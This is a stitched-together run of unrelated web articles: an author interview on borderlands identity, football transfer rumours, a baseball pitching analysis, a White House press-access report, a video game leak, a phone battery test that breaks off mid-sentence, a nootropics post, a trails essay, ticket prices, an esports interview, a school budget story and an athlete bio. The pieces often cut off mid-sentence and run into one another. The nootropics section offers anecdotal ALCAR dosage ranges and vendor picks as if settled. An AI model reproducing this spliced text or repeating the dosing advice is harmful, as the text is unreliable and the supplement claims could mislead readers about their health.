A: It was beyond devastating. With all of my privilege, my resources, my education, my contacts, I was not able to find out what the hell happened to this woman. There were 129 bodies found [in 2012] in one tiny county that had very, very few resources, and [they were] being sent to a mortuary run by a family. They’re opening 129 body bags in one summer. That’s insane! It’s miraculous that anybody is correctly identified.
Q: The book is in part about your own journey, as a biracial woman coming to terms with the ramifications of your heritage. What do you feel you took away, personally, from living in both borderlands?
A: In my second book, Mexican Enough, I moved to Mexico, and my first goal was to learn Spanish, [which] I had not been taught, for similar reasons many Mohawks don’t speak Mohawk anymore. A lot of Indigenous people, both in Canada and the United States, lost their language due to Indian residential schools, where it was beaten and humiliated out of them. These kids in south Texas weren’t in residential school, but they were in public school, and they were demonized for speaking Spanish—which is why an entire generation of Tejanos don’t speak Spanish. What I concluded from living in Mexico for a year was that I will never be Mexican. What binds a people is shared memory, stories, poems, prayers, spells, medicine, rituals, traditions, movies. That left me thinking, “Who am I then?” Then I came back to south Texas and [thought], “What I am is a member of borderlands. I am someone who walks between worlds.” And then I realized that I felt I had more in common with the Mohawk in Akwesasne than I probably would a Chicano in Iowa.
So what I found doing this book is a truer sense of home, and a truer sense of this inner fissure that exists in all of us who live in borderlands. It’s what it means to live in nepantla: “the land of in-between.” That’s how the Aztecs describe trying to reconcile their Indigenous ways with the ways that the Spanish were trying to impose upon them. Those who live in the borderlands today live in nepantla, and what that means is to always question, to always doubt, to always ache.
CORRECTION, July 14, 2017: A previous version of this story misstated the name of the university where Stephanie Elizondo Griest served as visiting professor. Maclean’s regrets the error.That is according to website Football Insider, who claim Juve want the unsettled Algerian as a potential replacement for Manchester United-bound Pogba. Express Sport understands Pogba is closing in on a £90million return to Old Trafford this summer and is expected to undergo a medical tomorrow.
Twitter reacts as Man Utd use 'Pogback' hashtag as Pogba medical confirmed Sun, August 7, 2016 Twitter reacts as Manchester United use the hashtag 'Pogback' to announce that Paul Pogba has been granted permission to have a medical at the club Play slideshow Twitter•@ManUtd 1 of 19 Twitter reacts as MAnchester United use the hashtag 'Pogback' to announce that Paul Pogba has been granted permission to undergo a medical at the club
And the Serie A champions have reportedly been alerted to the availability of Spurs' midfielder Bentaleb to fill the void left by the France international. Mauricio Pochettino revealing at the end of last month that he is free to leaveThe 21-year-old has fallen out of favour at White Hart Lane, with Spurs boss.
GETTY Nabil Bentaleb could leave for Juventus this summerWhen the Blue Jays selected Joe Biagini in the Rule 5 Draft last offseason, he had made just two relief appearances in his entire career. Both came in 2012, when he was in low-A ball playing for the Salem-Keizer Volcanoes. Biagini was a starter, through and through. Yet the Blue Jays took Biagini with the clear purpose of using him as a reliever in 2016. Picks from the Rule 5 Draft rarely work out, but choosing Joe Biagini certainly did. He was a mainstay at the back of the bullpen and posted a 3.06 ERA and 3.69 DRA over 67.2 innings. His success, while intriguing, isn’t the most interesting thing about Biagini’s 2016 season. Instead it’s that he was successful as a “starter in a reliever’s uniform,” a phrase which my colleague Joshua Howsam coined back in September.
It didn’t start that way: Joe Biagini began the season throwing one of his fastball or curveball 94 percent of the time. However, by the time playoff baseball rolled around in October Biagini was mixing between four pitches on a fairly consistent basis: fastball, changeup, curveball, slider. That’s a starter’s repertoire.
As we’ve found already this Spring, the Blue Jays appear to believe in Joe Biagini’s potential as a starter. MLB.com’s Gregor Chisolm notes that the Jays told him to “prepare for both roles,” referring to the possibility that he could pitch out of the rotation at some point in 2017. Doing so would likely require that Biagini start the season at AAA Buffalo, where he would get stretched out and reacquaint himself to a starting role. In turn, that would make for a Biagini-less bullpen.
Some are concerned by this prospect, but there are three compelling reasons why the start-liever should just be a starter – at least for the time being.
Joe Biagini Has a Starter’s Repertoire
As we’ve already noted, Biagini isn’t a typical reliever. Not only has he spent almost all of his time in the minors in the rotation, but he has a very usable four pitch mix. To draw some comparisons, I used the method that Jeff Sullivan utilized to generate and point out Marcus Stroman’s absurd set of pitch comps.
Slider
The slider is one of Joe Biagini’s two big out pitches, but with a whiff rate of 23 percent, it’s definitely the more effective of the two.
Top Comps: Tyler Yates, Matt Harvey
Comp Rating: 1.2
You’ve probably never heard of Tyler Yates and there’s good reason for that. He was a journeyman reliever for the Mets, Braves, and Pirates. His slider was glorious, but his command was not. Matt Harvey on the other hand has one of the nastier sliders in the league.
GIF via FanGraphs
Joe Biagini’s slider is similarly speedy with an average velocity above 90 MPH (7th highest in the PITCHf/x era) and has nasty late bite. At 4.97 inches, the degree to which it fights gravity is also particularly notable (17th highest in the PITCHf/x era), mimicking the Harvey slider above.
Fastball
While high in velocity, Joe Biagini’s fastball isn’t an out pitch, but instead a set-up for his secondary offerings. This was borne out in the results as it had a relatively average eight percent whiff rate.
Top Comp: Jim Johnson
Comp Rating: 0.4
It’s not an outstanding comp at the outset, but a comparison to Jim Johnson makes sense. Johnson similarly throws a relatively straight four-seam fastball with a lot of velocity. In Johnson’s case, he uses the four seam as an occasional alternative to the sinker that dominates his arsenal. As a starter Biagini would do the same for his slider.
Changeup
The changeup is often what differentiates a potential starter and a pitcher destined for a relief role. Interestingly enough, while Biagini throws a solid changeup now, it wasn’t a large part of his pitch mix up until the end of the season. Up until the end of August changeups comprised less than five percent of Joe Biagini’s pitches. However, in September and October he used it almost twice as much and it had a comparable amount of whiffs to his wipeout slider.
Top Comp: Andrew Cashner
Comp Rating: 0.4
Cashner had a great changeup when he first dominated with the Padres, but this is a less than inspiring comp.
Curveball
When the Blue Jays acquired Joe Biagini, he came to them as a fastball/changeup/curveball pitcher, with the curveball being his main out pitch. As was noted above, that changed in 2016, with Biagini establishing his slider as a true menace.
Top Comp: Scot Shields
Comp Rating: 0.3
The switch to the slider is probably for the best; though Scot Shields carved out a nice career as a reliever using a just a fastball/curveball combo, by the time the PITCHf/x era came around he was a shadow of his former self.
The Blue Jays Have Relief Depth
Even if you take out Joe Biagini, the Blue Jays have three potential set up men in Jason Grilli, J.P. Howell, and Joe Smith. Only Grilli is close to a guarantee at back of the bullpen, but there are reasons to believe that Howell and Smith could be formidable. Between 2012 and 2015, Howell and Smith had the 12th and 29th best ERAs among qualified relievers.
Beyond them, the Blue Jays have 11 options to fill four spots in Aaron Loup, Glenn Sparkman, Mat Latos, Gavin Floyd, Ryan Tepera, Bo Schultz, Danny Barnes, Dominic Leone, Matt Dermody, Chris Smith, and recent podcast guest, Mike Bolsinger. Of that group, five had a K/9 of over 10 in the minors in 2016 (Barnes, Bolsinger, Leone, Smith, and Sparkman). Then, there are others have had previous success, be it in the rotation or in the bullpen (Bolsinger, Loup, Latos, and Floyd).
With relievers, it’s important to remember that any player with promise can be successful over a small sample, which is what a relief season amounts to. As a result, if you can’t get the quality at the top end of the relief market then quantity is often a better strategy. If the Blue Jays hit on one of the high strikeout relievers, then they could have a 2017 Joe Biagini.
It’s Easier to Go One Way Than the Other
Converting a reliever to a starting role takes time. The pitcher not only needs to build up arm strength, but they’ll often need to adjust their approach. This is why we don’t see many relief to starter switches in the middle of the season (outside of spot starts). However, there’s plenty time in Spring Training. Joe Biagini can start building up to a starter’s work load now and be ready for the AAA rotation. Then if something goes awry in the bullpen, it’s easier to convert him back to a reliever. There could be a strategic adjustment, but there’s less ramp up time.
Joe Biagini was a starter in the minors. He developed a full four-pitch repertoire in 2016. He has an out pitch that one could reasonably compare to that of Matt Harvey. There are options to replace him in the bullpen in the near term. In other words, the Blue Jays shouldn’t be asking themselves ‘why’ try Biagini as a starter, but ‘why not.’
Lead Photo: Dan Hamilton-USA TODAY SportsHours after President Donald Trump delivered a speech in which he declared his love of the First Amendment and bashed “fake news,” the White House blocked reporters from a number of news organizations from attending a briefing with White House press secretary Sean Spicer. In a highly unusual move on Friday, reporters from a number of outlets, including The New York Times, Politico, the Los Angeles Times, BuzzFeed, The Hill, The Guardian, The Daily Mail, the New York Daily News, the Huffington Post, and the BBC were excluded from an on-the-record, off-camera press gaggle. Reporters from Time and the Associated Press boycotted the event in response.
Spicer disputed the characterization of the ban as a retaliatory move, arguing that the briefing was intended to be a smaller gathering of the press pool—wherein only a few media representatives were selected—but that he had decided to expand the group to include other voices, including conservative outlets like One America News Network, the Washington Times, and Breitbart, the far-right Web site once chaired by current White House chief strategist Stephen Bannon. According to the BBC’s Dave Lee, CBS News, which was among the more traditional organizations to attend, agreed to share audio of the meeting with the members of the press who were excluded.
During the White House gaggle on Friday, Spicer told reporters that he believes the Trump administration has “shown an abundance of accessibility” to the press.
The explanation by the White House did little to reassure media outlets that were denied entry to the briefing. “Our most experienced White House reporters have never seen anything like this,” Elisabeth Bumiller, the Washington bureau chief for The New York Times, told The Washington Post’s Erik Wemple. Fox News anchor Bret Baier, whose network has been routinely lauded by the president for its coverage, also tweeted a message of solidarity: “Some at CNN & NYT stood w/FOX News when the Obama admin attacked us & tried 2 exclude us-a WH gaggle should be open to all credentialed orgs.”
Both CNN and the White House Correspondents Association issued blistering statements condemning the exclusion. “This is an unacceptable development by the Trump White House,” CNN said. “Apparently this is how they retaliate when you report facts they don’t like. We’ll keep reporting regardless.” White House Correspondents Association president Jeff Mason said in a statement that its board “is protesting strongly” against Spicer’s treatment of the press. “We encourage the organizations that were allowed in to share the material with others in the press corps who were not,” he said. “The board will be discussing this further with White House staff.”
The unusual move by the White House followed the publication of critical stories from CNN and The New York Times, which had both recently reported on allegations of communications between Russia and members of the Trump campaign. On Thursday night, CNN also reported that White House Chief of Staff Reince Priebus broke protocol by seeking to convince the F.B.I. to discredit news reports about Trump’s ties to Russia, a request that F.B.I. director James Comey denied.
Trump, who has long butted heads with the press and with fact-checkers, has escalated his feud with the media in recent weeks as criticism of his administration has reached a fever pitch. “I want you all to know that we are fighting the fake news. It’s fake, phony, fake,” Trump said Friday during remarks at the annual Conservative Political Action Conference. “A few days ago, I called the fake news ‘the enemy of the people,’ and they are. They are the enemy of the people. Because they have no sources. They just make them up when there are none.”
Sean Spicer FOLLOW Follow to get the latest news and analysis about the players in your inbox. See All PlayersShare. Is this what Telltale’s recent Vines have been hinting at? Is this what Telltale’s recent Vines have been hinting at?
A Steam database listing seems to have leaked the news of the next installment in Telltale’s The Walking Dead. According to a listing on Steamdb, a piece of downloadable information regarding content titled “400 Days” has appeared on Steam.
If this is true, it would be in line with the recent Vines that Telltale has been leaking via Twitter. The short videos feature quick looks at various new characters, and have featured titles named after various days. So far there's been Day 2, Day 220, and Day 236.
If you saw Telltale's "Day 184" Vine, you may have noticed a quick shot of what looked like a neon sign displaying the number 4. Could this be in reference to 400 days? We were unable to reach Telltale for confirmation.
Previously, The Walking Dead writer Gary Whitta teased that more The Walking Dead is coming before season two. Telltale has targeted a Fall 2013 release for its second season, but no official details have been revealed just yet.
For more on The Walking Dead, check out our review of season one and our predictions for season two.
Exit Theatre Mode
Marty Sliva is an Associate Editor at IGN. He still wants Telltale to make a rad Scooby-Doo game. Follow him on Twitter @McBiggitty and on IGN.Published by Steve Litchfield at 11:20 UTC, February 12th 2016
"Oh, around 1% per day" was my answer, somewhat glibly, when asked about the impact of leaving Glance screen (i.e. time, date, app detail and notification icons) 'on' all the time. Not the default these days, but I did measure it back in the day. Under a different OS, around six YEARS ago. Which is why I wanted an up to date measurement of the power drain caused by Glance on modern hardware, in this case the Lumia 950 XL. And (to quote Spinal Tap ) I got it. And a WHOLE lot more.
Quantifying Glance's power drain under Windows 10 Mobile
There's no easy and obvious way to measure the drain, of course, in theory it could be less than the single digits mA region. So I measured battery charge (as reported by Windows 10's guesses) every half an hour for most of the day, firstly with Glance on permanently and then again with Glance turned off.
As I say, the percentage we all see at the top of each screen in Window 10 Mobile's Action Center (and on all other smartphones) is only really ever a guess, with the OS looking at battery voltage (typically between 3.6-3.8V most of the time), current drawn (e.g. measured using a 'Coulomb Counter') and temperatures every minute (or so) through the day and then taking a grand estimate, helped by the manufacturer's profiling of the voltage drop for that particular cell over its discharge range.
Consider...
Before revealing the results of my tests, especially pertinent as we approach Mobile World Congress 2016, where LG is about to unveil the first Android smartphone with an 'always on' (a.k.a. Glance) display, I thought it worth running through a thought experiment and estimating a few figures about smartphone battery life.
Regardless of the OS used, a fully charged phone (usually overnight) needs to get the user through a full 16 hour day (7am to 11pm) as a bare minumum. If the phone was not to be used at all, all day, i.e. simply looking at standby life, we get a maximum drain per hour of about 6% per hour. Add in the whole point of a smartphone, i.e. using it, and it's clear that the'standby' (i.e. idle) drain needs to be down in the 2% region, per hour. That way, at the end of a long day, a maximum of 32% will have been used up with background OS standby duties, leaving a minimum of 68% for the user's benefit. And hopefully more.
And remember that all of this is with the huge caveat that most real world phones will have some battery degradation through use, so '100%' won't be the full capacity as it first came out of the box.
Now, the drain for Windows 10 Mobile on my Lumia 950 and 950 XL devices is around 6% per hour. Both of these phones have Glance turned on permanently. Hey, I got used to this USP on the old Nokia Symbian phones, so why wouldn't I enable it on the 950 and 950 XL too? But exactly how efficiently is Glance implemented on Windows 10 Mobile on the new chipsets? Could it be that it's more of a burden than on older phones, especially those old Symbian devices?
Results
Here then is a chart of what I found. The red and blue lines are for a 950 XL and a 950, the latter with a SIM in, but both hooked up to Wi-fi and syncing all the usual background stuff (email, etc.) and with exactly the same applications installed. Both had Glance screen enabled. At the bottom of the chart is a gold line, showing the calculated average battery drain per hour, levelling off at 6.3%:
Now to those other lines. The obvious way to test the impact of Glance was to repeat the test but with Glance disabled completely. That's the green line, showing dramatically better longevity. The purple line at the bottom shows the calculated drain per hour and levels off at 3.6%. [Update: Re: the top blue line, I've also, by popular request, added the discharge under the same conditions but with Glance set to a small value, i.e. taking into account the continuous operation of the proximity LED on the front of the phone. As you can see, it's similar to the green line and within the margins of error, so I'm concluding that the proximity LED makes no difference whatsoever.]
To put this into perspective, Glance screen on Symbian used to drain a phone's battery by a few percent per day - the reworking for Windows Phone and then Windows 10 Mobile had progressively made things less efficient. The screens may well have 'display memory |
Choline supplementation usually results in a ACh spike, then a return to baseline 2
Anecdotally, myself and several others notice depression and/or tension headaches occurring with choline supplementation and it goes away upon ceasing choline.
Take too much and you may start smelling like rotten fish
Wait…hold up.
What!?
Fishy smells that might negatively affect your sex life?
Exogenous choline doesn’t increase ACh concentrations?
It only creates a temporary spike?
Chrono hit ’em with that scientific left hook to the body…
In the absence of neural or chemical stimulation, increasing the amount of choline in the brain will only provide a very small and short-lived spike in basal ACh release in the hippocampus and cortex 2. The fact that added choline does not result in increased basal ACh shows that there are many systems of regulation–activity dependence, phosphorylation, plasma-brain-CSF exchange, choline uptake transporters, and recycling system–which make choline supplementation alone an inefficient and possibly ineffective means.[emphasis mine]
You might be wasting your money on choline.
I know it seems like I’ve thrown choline under a bus and into a volcano, but it’s to bring some light to the fact that not everybody needs choline with a racetam. You have to try the racetam with and without.
But…racetams’ effect seem to come from them being being involved in the increase of ACh and improving it’s transport3
Well hell, what’s a nootroponaut to do then?
Enter ALCAR, the “indirect choline source.”
ALCAR stands for Acetyl-L-Carnitine or L-acetylcarnitine.
Guess LACAR sounded too funny to catch on.
So how can ALCAR be the great choline supplement killer?
Chrono…smash ’em again:
So, how might increasing availability of the acetyl moeity help us? The answer is in the equilibria of the coupled enzyme reaction above. […] However, the equilibrium of the ChAT reaction is greatly in favor of the products (Keq of 12.3 or 13.3); the vast majority of an added substrate will be converted into ACh. In other words, provided that CoA and choline are available, ALCAR should have a dose-dependent impact on amount of acetylcholine produced.
It’s becoming clearer that ALCAR may be a better synergist with racetams than choline. Read Chrono’s post for additional benefits I decided not to cram in here.
Alright, What should my ALCAR dosage be?
630mg-2500mg/day 4 : main dose range
: main dose range 315-500mg 2x/day: The “ease-in” dose. Stay in this range at first
4000mg/day: anecdotal recommended upper limit (below this amount, no excessive free radicals are produced)5,6,7
Extra notes
A) 1000mg-1500mg split into 2 dosages: When you need a little bit more energy, you upped your noopept/piracetam a bit, or need to get a lot done that day.
B) Be sure you are getting your Vitamin C, it’s needed so the body can convert L-carnitine to (ALCAR)8
Where to Buy ALCAR
My favorite place for purity and high quality is Nootropics Depot
I want some ALCAR!
Second favorite place:
Nootropics City ALCAR CapsulesBack in 1930, Bob Marshall—legendary outdoorsman, bestselling author, and grandpappy of the environmental movement—set out to define what the wilderness is. He settled on two basic preconditions: “first, that it requires anyone who exists in it to depend exclusively on his own effort for survival; and second, that it preserves as nearly as possible the primitive environment.” This means that all roads, mechanical transportation, and human habitation would be forbidden. But according to Marshall, trails—the most ‘primitive’ of all our myriad inventions—would be “entirely permissible.”
This belief was later reflected in the first version of the National Wilderness Preservation Act, introduced to the Senate in 1957, which defines wilderness as a place where “man” is “a wanderer who visits but does not remain and whose travels leave only trails.” That’s the thing about trails: if enough people visit a piece of land, they are going to make them. It’s what we as a species—we as animals—instinctively do. The act of creating and following trails is one of the oldest and most profound ways that we make sense of this chaotic planet we all live on.
The question, then, is not whether we want to make trails, but how—with our feet, or with our hands? In other words, do we want to create them unconsciously and with little foresight? Or do we want to build them deliberately, with the aim of making them as sustainable as possible?
Up until the 1970s, trails were often built along the paths of least resistance. This was fine until the backpacking boom of the 1970s, when hordes of hikers wearing rubber-soled boots (called “waffle stompers”) swarmed our most popular trails, churning up the soil and accelerating erosion. In response, trail-builders learned to design sustainable trails that would shed water in a slow, controlled manner. For the most part, that project has succeeded; I would hate to see what my favorite mountains would look like had we not made the shift to sustainable trail design.
Despite our best efforts, many conservationists still worry that our most popular wild spaces are being ‘loved to death.’ In light of these concerns, I fully understand why some people don’t want any new wilderness trails. Trails have their downsides: they can compact the soil, blocking subterranean water flow and choking tree roots; they can fragment ecosystems; they can scare off bears and wolves; they tend to collect litter at their edges. Some people, quite fairly, see them as scars upon the otherwise pristine wilderness. And in some sense, that’s true: a trail, when you get right down to it, is little more than a long, precisely wrought stretch of dead ground.
But I suspect that deep down, the real reason certain outdoorspeople dislike trails is because they’re reminders of the existence of other people. That, I would argue, is exactly the wrong reason to oppose them. Because the only thing that is going to save wilderness from people with tree saws and oil drills and cement trucks are other people—people who love wild land for its beauty, its sense of freedom, and its ecological complexity, rather than for its monetary worth.
I’ll admit that I am biased: I have a special love for trails. (Hell, I just wrote a whole book about them.) I like they way they make it easier to walk. I like the way they lessen the burden of wayfinding, freeing up my brain for deeper thought. I like the way they keep me from getting lost and falling into a pit of quicksand. Perhaps most of all, I like how trails efficiently allow us to visit the wilderness without trampling it all to dust.
Consequently, trails have also become one of our best methods for protecting a patch of wilderness. A particularly vivid example: In 1980, a man named Hap Wilson—then a 25-year-old canoe bum and burgeoning eco-warrior—was hired to map out the old canoe routes and portage trails through the waterways in northeastern Ontario’s Temagami region. At the time, logging companies were clear-cutting the Temagami’s old-growth forests under the (mostly correct) assumption that paddlers never stray far from the waterways, and no one would mourn the loss of those ancient trees. Outraged, Wilson decided to monkey-wrench the process. At night, he snuck into the Ministry of Natural Resources office and foraged through timber allocation maps to determine which lands were slated to be clear-cut. Then during the day, he would clear hiking trails into those blocks of land.
“Once the trail was established, the people came, and they walked through a forest they would not normally have opportunity to see up close,” he writes in his book, Trails and Tribulations: Confessions of a Wilderness Pathfinder. “The existence of the trail created its own lobbying group.”
Using this method—aided by an unnamed group of eco-radicals, who spiked trees, blockaded roads, and destroyed logging bridges—Wilson and other members of the Temagami Wilderness Society were able to protect an area called the Wakimika Triangle, the largest remaining stand of old-growth red and white pines in the world. It was later folded into the park system, and has remained intact to this day. Wilson has now repeated this process—building trails, attracting hikers, preserving wilderness—all over Ontario.
In addition to preserving wilderness areas, hiking trails have even been used to actually create new ones. Benton MacKaye, the founder of the Appalachian Trail, originally envisioned the AT as the “backbone of a publicly owned'super national forest' stretching from Maine to Georgia,” according to his biographer, Larry Anderson. Incredibly, that dream eventually came true. Back in those days, the trail ran through long stretches of farmland and heavily logged timberland—what would today be regarded as decidedly un-wild land. But in 1978, under President Jimmy Carter, the federal government began spending hundreds of millions of dollars to purchase new lands and re-route the trail so we could preserve the land surrounding America’s most iconic footpath. As a result of this herculean effort, today, for all but a few of its miles, the AT is jacketed by a thousand-foot corridor of protected wilderness. (This is sometimes referred to as “the longest, skinniest part of America’s national park system.”) Mackaye’s genius was to recognize that, rather than a scar, a trail can act as a backbone around which wilderness can grow.
Call me anthropocentric, or pathological, but I believe in the promise of smart design and elegant infrastructure. I believe in seeking balance over (doomed) prohibition or (damned) profligacy. I believe that the earth is most beautiful when people walk lightly upon it, in admiration and awe, rather than trampling it widely or not walking upon it at all. All of which is to say: I believe—deeply, fervently, wildly—in trails.With a little over a month before the college football season kicks off its first game, there’s full steam ahead towards the season’s start. A few major conferences held their media days this past week, marking the unofficial countdown to the start of the season. While there’s still time before games will be played and even preseason Top 25 polls are unveiled, college football fans have been heading to the secondary market for college football tickets.
TiqIQ has compiled the secondary market ticket averages for the top teams in college football and have ranked the top 25 schools for the 2014 season. While many of the schools on the list are to be expected, such as Ohio State and Alabama, there were some surprising omissions in this year’s first version.
For the first time since TiqIQ has kept track of data, the University of Michigan does not fall in the Top 25. That has less to do with a loss of popularity of the Wolverines and more with the unspectacular home opponents on the Michigan football schedule, leading to a $115.57 average price. The annual game against Ohio State will take place in Columbus and is currently the most expensive single game on the secondary market. Michigan’s most expensive home game comes against Penn State with an average price of $198.95, but the next most expensive games barely crack a $100 average.
The reigning national champion Florida State Seminoles also fall outside the Top 25 with an average price of just $101.93. The most expensive game on the Florida State football schedule will be against Notre Dame with an average price of $237.13, 132.6% above the season average. However only two other home games, against Clemson and Florida, have an average price above $100.
Only one school from the ACC will start the season as one of the Top 25 most expensive schools, and it’s the conference’s newest member. Louisville had the biggest year-over-year price increase of any school in the Top 25 thanks to their jump from the American Athletic Conference. Louisville tickets enter the season 78.4% above last season’s average on the secondary market and that’s without quarterback Teddy Bridgewater or head coach Charlie Strong. The SEC leads all conferences with eight schools in the Top 25, ranging from No. 25 to No. 2. The Big Ten is the only other conference with more than five schools and the two conferences combine to make up 56% of the list. The Big 12 and Pac-12 each have four schools on the list.
Some schools were able to stay on the list while having a price drop from last year’s season average. Texas A&M tickets on the secondary market will start the season 10.2% below last season’s average following the departure of Johnny Manziel and Mike Evans to the NFL. However, that is not the case for all schools losing their quarterbacks. Alabama, who lost A.J. McCarron, still sit near the top of the list and ticket prices for games at Bryant Denny Stadium will start the season 28.3% above last season’s secondary market average.
The following are the 25 most expensive schools in college football by average secondary market price for the 2014 season, according to TiqIQ.Team Dignitas acquired a new Smite roster for the 2017 season. The star of this roster is Harry “Variety” Cumming. Variety was a finalist in the Smite World Championship back in January. He was perhaps the best single player at the event and would have been MVP if his team took the victory.
After an incredible Season 3, Variety formed a new team full of veterans and participated in open bracket qualifiers. Variety’s New Team, as they were called, showed that they were more than SPL capable. This led them to join Team Dignitas for the 2017 Spring Split. We asked Variety some questions about joining Team Dignitas and the Smite Pro League.
How did you form this team? How did the roster come together player by player?
Variety: I was the last player to join the squad after receiving a message from Zyrhoes with a proposal to become the last player to make the roster. The players he mentioned were all amongst the best of the best in their respective role, however, after coming second at Worlds, it was never going to be an easy decision to stay or leave.
Who came up with your team’s initial name, “Variety’s New Team”?
Variety: Since I was the one to announce the team on twitter, Zyrhoes changed his twitter bio to Professional Mid for “Variety’s New Team” and since then we just stuck with it. Luckily Team Dignitas came in to save the day from our cringe-worthy name.
As a team full of veteran SPL talent, what was your experience playing in the open bracket like?
Variety: No matter who the players are and the experience they have, forming a new team will always have the same problems at the start. Playing the open bracket was a good way to grind out games over a short amount of time to quicken the learning and merging process for us as well as helping us getting to know each other and bond in general.
What made you choose Team Dignitas as your organization?
Variety: Picking Team Dignitas was rather straight forward, with the name comes a lot of respect as well as having fans across the globe. With the backing of the Sixers, the opportunities presented were above and beyond our expectations. Also the professionalism and the support you can count on from all the staff members and owners made the decision even easier.
You were on Team Dignitas in Season 2. How is this iteration different?
Variety: This iteration of Team Dignitas has an extremely high calibre of players who all have the same passion and drive to become the best team in the world.
Variety was the solo laner of Team Dignitas in Season 2 and rejoined the squad for Season 4.
What are your thoughts on the invitation and Relegation processes this year? Do you think the SPL contains the best possible talent this split?
Variety: With the introduction of a round robin group stage, the relegation process this year was very fair and was the best possible way to ensure the best teams in each region make the SPL.
How do you feel about the three-split format of Season 4? How does it impact teams compared to Season 3’s two splits?
Variety: I prefer the three-split format compared to the two-split, although it allows a little less downtime for the teams to relax and take a short break. The extra split ensures that a lot more games are played which brings a lot more experience, a lot more scrims and more LAN events overall, which helps us become the best. Aside from allowing us to gain more experience, the three-split format brings more relegation tournaments, which ensures the teams in the SPL are the best in Europe.
With more LANs this year, do you think there is going to be higher levels of competition in the SPL throughout the year?
Variety: LANs are far more stressful yet exciting. A team very rarely walks away from a LAN learning nothing, so the more LANs the more teams will learn. Also, I think it is very important that all teams gain some experience playing together on stage.
We already saw Latin American’s LichT topple a North American team at worlds and the international regions are seeing more play time against the SPL regions this season. Do you think they are going to continue to get stronger? Are they going to be able to hold their own against the top NA and EU teams?
Variety: I think the other regions are starting to catch up to EU and NA, however, it’s hard to tell whether or not they will actually be able to overcome the top teams in EU and NA. It is certainly something we should be aware of.
What are your Expectation for Team Dignitas in the EU SPL Spring Split? Expectations for the team by the end of Season?
Variety: Although we would like to be number 1 in Europe and the world straight away, it’s simply not that easy. Saying that though, we do expect to be a top team in Europe. Since this will be our first split together we want to use it to gain experience as a team in the high stress environment of the SPL as well as experience as a team at LAN events.
Do you think the new Team Dignitas lineup can best reigning world champions NRG?
Variety: I believe this team can take down the kings that are NRG and become the best team in the world. It is easier to say we can be the best than actually do it, but with the determination and the mindset of every player on this team it is certainly within our own grasp. We just have to learn from every possible opportunity and stay focussed and the results will follow.
Is there anything else you would like to say about joining Team Dignitas or any shout outs you would like to give?
Variety: It’s an honour to be a part of Team Dignitas once again, especially the second time with the changes that have gone on within the organisation. I would like to personally thank ODEE for letting us be a part of this and having the belief that we can become the best. I want to also thank the fans who have backed my decision to take this opportunity with a new team and of course a special thanks to all our sponsors.
Thank you to Variety answering our questions. You follow him on his twitter and twitch.The Anchorage School Board on Tuesday unanimously passed a budget for next school year that cuts dozens of classroom teaching positions to partially close a $15.3 million budget gap.
The seven-member board voted on the budget after about 30 minutes of discussion at its evening meeting, leaving the document crafted by the district administration largely unchanged.
Assuming the state Legislature doesn't decrease or increase per-pupil state funding, the $563.6 million general fund budget for the 2017-18 school year results in the net loss of about 123 "full-time equivalent" positions, including 99 teachers, to save about $7.2 million total.
"This budget document is not as rosy as I would like it to be, but it's the circumstances that we are in — when you have flat revenue and increasing expenditures," said Anchorage School Board member Kathleen Plunkett. "We're not going to be able to do everything that I know we would all love to do."
Several school board members said during Tuesday's meeting that they anticipated returning to the budget in coming months once the Legislature agreed on a state budget.
The district created the budget passed Tuesday around the assumptions of enrolling 270 fewer students next school year and state funding remaining flat, as suggested in Gov. Bill Walker's budget proposal.
However, Sen. Lyman Hoffman, D-Bethel, said in an interview Tuesday that public schools should brace for a 5 percent cut to the $1.3 billion the state spends in unrestricted general funds on education.
Anchorage School Board President Tam Agosti-Gisler said in an interview after the board meeting she was hopeful the flat per-pupil funding would remain in next year's state budget, paired with additional transportation funding.
About the 5 percent reduction, she said, "there will be consequences for those cuts that will be felt by our students for many years to come and there needs to be some deep reflection on what our values are and what our responsibilities are for our children."
Other positions cut in district budget include the equivalent of about 16 full-time classroom and special education teacher assistants, three full-time counselors, 14 full-time safety and security specialists and four full-time assistant principals.
Positions added include about 17 full-time elementary secretaries as well as about 48 full-time elementary school instructional coaches, funded by federal grant money.
The district also plans to close the budget gap by using $4 million in savings to keep 40 additional teaching jobs.
Michael Graham, district chief academic officer, said in an email Tuesday that principals will work with their directors to determine what specific teaching positions to cut. Changes could impact class sizes at the elementary level. In middle and high schools, some classes could increase in size and the number of class offerings could decrease, he said.
Only two people testified at Tuesday's board meeting about the budget.
Sharon Baker, president of Totem Association Educational Support Personnel board of directors, said she had concerns about reducing the number of secretaries at the middle schools and high schools, while Michael Bronson with the Anchorage branch of the National Association for the Advancement of Colored People asked the board to create a plan in the budget to raise the academics of students behind when it comes to state education standards.
Tom Klaameyer, vice president of the Anchorage Education Association, said in an email Tuesday that the teachers union was "definitely concerned about the potential impacts of reducing school staff, both inside and out of the classroom."
"We are all keenly aware that the ASD budget deficit is a byproduct of the state's fiscal crisis," he said. "Years of flat educational funding, in a world of rising costs, equates to reduced educational funding in real terms."
Klaameyer said most of the union's members were taking a "'wait-and-see approach" to the budget given the unknowns about state funding.
The board passed a single budget amendment Tuesday pulling $195,745 from expenses that are no longer expected to occur and putting that money toward teachers to address changes in fall enrollment.
The Anchorage Assembly will have its first reading of the district budget on March 7 and vote on the budget on March 21.Lucas Patrick McCown (born July 12, 1981) is a former American football quarterback. He played college football for the Louisiana Tech University Bulldogs, and was drafted by the Cleveland Browns in the fourth round of the 2004 NFL Draft. He also played for the Tampa Bay Buccaneers, Jacksonville Jaguars, Atlanta Falcons, New Orleans Saints, and a brief stint with Dallas Cowboys. He is the younger brother of current New York Jets quarterback Josh McCown and former Texas A&M quarterback Randy McCown.
Early life [ edit ]
McCown was born and raised in Jacksonville, Texas. Like his older brothers Josh and Randy McCown, he showed an aptitude for sports. He attended Jacksonville High School, where he was a standout in both football and basketball.
In basketball, he garnered All-District and All-East Texas honors. For college he attended Louisiana Tech University, where he played for the Louisiana Tech Bulldogs football team.
College career [ edit ]
At Louisiana Tech, McCown soon began setting records, and he remains the team's No. 2 all-time leader for passing touchdowns, passing yards, and total offense.[1] He still holds several NCAA Division I FBS records:[2]
Most plays by a freshman in a single game (80) - Louisiana Tech vs. Miami, FL, October 28, 2000. McCown gained 444 total yards during the game.
Most attempted passes by a freshman in a single game (72) - Louisiana Tech vs. Miami, FL, October 28, 2000. He completed 42 of those passes.
Most completed passes by a freshman in a single game (47) - Louisiana Tech vs. Auburn, October 21, 2000. He attempted 65 passes in all.
Most seasons of 2,000+ yards (4) - From 2000—03, McCown gained 2,544, 3,337, 3,539, and 3,246 yards.
Statistics [ edit ]
